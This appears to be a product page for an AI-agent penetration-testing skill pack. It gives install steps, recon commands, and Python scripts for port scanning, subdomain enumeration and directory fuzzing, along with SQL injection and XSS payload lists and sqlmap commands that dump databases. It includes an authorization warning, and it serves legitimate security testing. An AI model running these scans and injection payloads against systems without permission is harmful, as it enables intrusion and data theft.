npx skills add ...
npx skills add reason-machines/security-skills --skill pentest-skills-framework
Natural language-driven penetration testing framework with modular skills for recon, exploitation, and security testing using AI agents
npx skills add reason-machines/security-skills --skill pentest-skills-framework
Skill by ara.so — Security Skills collection.
A modular penetration testing framework designed for AI CLI tools (Claude Code, Gemini CLI, Cursor) that enables professional security testing through natural language commands. Each skill contains knowledge documents, automation scripts, reference documentation, and resource files.
Pentest-Skills provides atomic-level capabilities for penetration testing workflows:
Install required tools based on skills you'll use:
Restart your AI coding agent to load the skills.
Each skill follows this pattern:
Natural language:
Direct tool usage:
Python script automation:
Run:
Natural language:
Direct tool usage:
Automation script:
Natural language:
Direct tool usage:
Testing script:
Natural language:
Direct tool usage:
Testing script:
Natural language:
Direct tool usage:
Store sensitive data in environment variables:
Each skill can have a config.yaml:
⚠️ IMPORTANT: Only use these skills on systems you have explicit written permission to test. Unauthorized testing is illegal and punishable under cybercrime laws (e.g., CFAA in the US, Computer Misuse Act in the UK). Always:
recon-port-scan - Port scanning and service identificationrecon-subdomain - Subdomain enumeration and DNS reconnaissancerecon-dir-scan - Directory and file enumerationrecon-fingerprint - Web fingerprinting and WAF detectionexploit-sqli - SQL injection detection and exploitationexploit-xss - Cross-site scripting detectionexploit-lfi - Local file inclusion and directory traversalexploit-file-download - Insecure file download and path traversalEach skill is independently loadable and contains complete documentation, scripts, and resources.
# Clone the repository
git clone https://github.com/crazyMarky/pentest-skills.git
cd pentest-skills
# Copy all skills to Claude Code skills directory
mkdir -p ~/.claude/skills
cp -r * ~/.claude/skills/
# Or copy specific skills
cp -r recon-port-scan ~/.claude/skills/
cp -r exploit-sqli ~/.claude/skills/skill-name/
├── SKILL.md # Core documentation (AI trigger)
├── scripts/ # Automation scripts (Python/Bash)
│ ├── helper.py
│ └── analyze.sh
├── references/ # Detailed tool documentation
│ └── tool-guide.md
└── assets/ # Dictionaries, payloads, resources
└── wordlists/Scan localhost for open ports and analyze service versions# Quick scan
nmap -sV -T4 localhost
# Full TCP scan
nmap -sV -sC -p- -T4 192.168.1.100
# Using rustscan (faster)
rustscan -a 192.168.1.100 -- -sV -sC# scripts/port_scanner.py
import nmap
import sys
def scan_target(target, ports="1-1000"):
nm = nmap.PortScanner()
print(f"Scanning {target} ports {ports}...")
nm.scan(target, ports, arguments='-sV -sC -T4')
for host in nm.all_hosts():
print(f"\nHost: {host} ({nm[host].hostname()})")
print(f"State: {nm[host].state()}")
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in sorted(ports):
port_info = nm[host][proto][port]
print(f" {port}/tcp {port_info['state']} "
f"{port_info['name']} {port_info.get('version', 'N/A')}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python port_scanner.py <target> [ports]")
sys.exit(1)
target = sys.argv[1]
ports = sys.argv[2] if len(sys.argv) > 2 else "1-1000"
scan_target(target, ports)python scripts/port_scanner.py 192.168.1.100Find all subdomains for example.com# Using subfinder
subfinder -d example.com -o subdomains.txt
# Verify live subdomains
cat subdomains.txt | dnsx -resp -o live-subdomains.txt
# Get HTTP details
cat live-subdomains.txt | httpx -status-code -title -tech-detect# scripts/subdomain_enum.py
import subprocess
import sys
def enumerate_subdomains(domain):
print(f"Enumerating subdomains for {domain}...")
# Run subfinder
subfinder_cmd = ["subfinder", "-d", domain, "-silent"]
result = subprocess.run(subfinder_cmd, capture_output=True, text=True)
subdomains = result.stdout.strip().split('\n')
print(f"Found {len(subdomains)} subdomains")
# Verify with dnsx
print("Verifying live subdomains...")
live_subs = []
for sub in subdomains:
dnsx_cmd = ["dnsx", "-silent", "-resp"]
proc = subprocess.run(dnsx_cmd, input=sub, capture_output=True, text=True)
if proc.stdout.strip():
live_subs.append(sub)
print(f" ✓ {sub}")
return live_subs
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python subdomain_enum.py <domain>")
sys.exit(1)
domain = sys.argv[1]
live = enumerate_subdomains(domain)
with open(f"{domain}-subdomains.txt", "w") as f:
f.write('\n'.join(live))Test this URL for SQL injection: http://target.com/page.php?id=1# Basic sqlmap test
sqlmap -u "http://target.com/page.php?id=1" --batch
# Test with POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch
# Dump database
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
# Extract tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch# scripts/sqli_tester.py
import requests
import sys
def test_sql_injection(url, param):
payloads = [
"'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1",
"' OR 1=1--", "\" OR 1=1--",
"') OR ('1'='1", "\") OR (\"1\"=\"1"
]
print(f"Testing {url} parameter: {param}")
for payload in payloads:
test_url = f"{url}?{param}={payload}"
try:
response = requests.get(test_url, timeout=5)
# Check for SQL error indicators
sql_errors = [
"SQL syntax", "mysql_fetch", "Warning: mysql",
"PostgreSQL", "pg_query", "ORA-", "SQLite",
"ODBC", "JET Database"
]
for error in sql_errors:
if error.lower() in response.text.lower():
print(f" [VULNERABLE] Payload: {payload}")
print(f" Error found: {error}")
return True
except Exception as e:
print(f" [ERROR] {payload}: {e}")
print(" [SAFE] No SQL injection detected")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python sqli_tester.py <url> <parameter>")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
test_sql_injection(url, param)Check for XSS vulnerabilities in this form parameter# Using XSStrike
xsstrike -u "http://target.com/search?q=test"
# Using dalfox
dalfox url "http://target.com/search?q=test"
# Manual payloads
curl "http://target.com/search?q=<script>alert(1)</script>"# scripts/xss_tester.py
import requests
from urllib.parse import urlencode
import sys
def test_xss(url, params):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src=javascript:alert('XSS')>",
"'-alert('XSS')-'",
"\"><script>alert('XSS')</script>",
"<body onload=alert('XSS')>"
]
vulnerable = []
for payload in payloads:
test_params = params.copy()
for key in test_params:
test_params[key] = payload
try:
response = requests.get(url, params=test_params, timeout=5)
if payload in response.text:
print(f" [VULNERABLE] Reflected payload: {payload}")
vulnerable.append(payload)
except Exception as e:
print(f" [ERROR] {payload}: {e}")
return vulnerable
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python xss_tester.py <url> <param>=<value>")
sys.exit(1)
url = sys.argv[1]
params = {}
for arg in sys.argv[2:]:
k, v = arg.split('=', 1)
params[k] = v
print(f"Testing XSS on {url}")
vulns = test_xss(url, params)
if vulns:
print(f"\n[!] Found {len(vulns)} vulnerable payloads")
else:
print("\n[+] No XSS vulnerabilities detected")Enumerate directories and files on http://target.com# Using ffuf
ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302
# Using gobuster
gobuster dir -u http://target.com -w /path/to/wordlist.txt
# Using feroxbuster (recursive)
feroxbuster -u http://target.com -w /path/to/wordlist.txt# API keys for services
export SHODAN_API_KEY="your_api_key_here"
export VIRUSTOTAL_API_KEY="your_api_key_here"
# Database credentials (for post-exploitation)
export DB_HOST="localhost"
export DB_USER="pentester"
export DB_PASS="your_password_here"
# Proxy settings
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"# recon-port-scan/config.yaml
nmap:
default_timing: T4
default_ports: 1-65535
scripts: true
masscan:
rate: 10000
wait: 10
output:
format: json
save_path: ./results# scripts/full_recon.py
import subprocess
import json
def full_reconnaissance(target):
results = {}
# 1. Port scan
print("[1/4] Port scanning...")
nmap_result = subprocess.run(
["nmap", "-sV", "-oJ", "-", target],
capture_output=True, text=True
)
results['ports'] = json.loads(nmap_result.stdout)
# 2. Subdomain enumeration (if domain)
if not target.replace('.', '').isdigit():
print("[2/4] Subdomain enumeration...")
subfinder_result = subprocess.run(
["subfinder", "-d", target, "-silent"],
capture_output=True, text=True
)
results['subdomains'] = subfinder_result.stdout.strip().split('\n')
# 3. Directory scanning
print("[3/4] Directory enumeration...")
ffuf_result = subprocess.run(
["ffuf", "-u", f"http://{target}/FUZZ",
"-w", "wordlist.txt", "-mc", "200,301,302", "-s"],
capture_output=True, text=True
)
results['directories'] = ffuf_result.stdout.strip().split('\n')
# 4. Fingerprinting
print("[4/4] Fingerprinting...")
httpx_result = subprocess.run(
["httpx", "-silent", "-tech-detect", "-title"],
input=target, capture_output=True, text=True
)
results['fingerprint'] = httpx_result.stdout.strip()
return results
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python full_recon.py <target>")
sys.exit(1)
target = sys.argv[1]
results = full_reconnaissance(target)
with open(f"{target}-recon.json", "w") as f:
json.dump(results, f, indent=2)# scripts/generate_report.py
from datetime import datetime
def generate_html_report(target, findings):
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>Penetration Test Report - {target}</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 40px; }}
.header {{ background: #2c3e50; color: white; padding: 20px; }}
.finding {{ border-left: 4px solid #e74c3c; padding: 10px; margin: 20px 0; }}
.critical {{ border-color: #e74c3c; }}
.high {{ border-color: #e67e22; }}
.medium {{ border-color: #f39c12; }}
.low {{ border-color: #3498db; }}
</style>
</head>
<body>
<div class="header">
<h1>Penetration Test Report</h1>
<p>Target: {target}</p>
<p>Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
</div>
<h2>Executive Summary</h2>
<p>Total findings: {len(findings)}</p>
<h2>Findings</h2>
"""
for finding in findings:
html += f"""
<div class="finding {finding['severity'].lower()}">
<h3>{finding['title']}</h3>
<p><strong>Severity:</strong> {finding['severity']}</p>
<p><strong>Description:</strong> {finding['description']}</p>
<p><strong>Recommendation:</strong> {finding['recommendation']}</p>
</div>
"""
html += """
</body>
</html>
"""
return html# If tools require sudo
sudo nmap -sS 192.168.1.100
# Add user to required groups
sudo usermod -aG pcap $USER# Check PATH
echo $PATH
# Verify Go bin directory
export PATH=$PATH:$(go env GOPATH)/bin
# Add to shell profile
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrcimport time
def rate_limited_scan(targets, delay=1):
for target in targets:
scan_target(target)
time.sleep(delay) # Wait between requests# Set proxy for tools
export HTTP_PROXY=http://127.0.0.1:8080
export HTTPS_PROXY=http://127.0.0.1:8080
# For sqlmap
sqlmap --proxy=http://127.0.0.1:8080 -u "http://target.com/page.php?id=1"
# For ffuf
ffuf -x http://127.0.0.1:8080 -u http://target.com/FUZZ -w wordlist.txtimport requests
requests.get(url, timeout=30) # 30 second timeout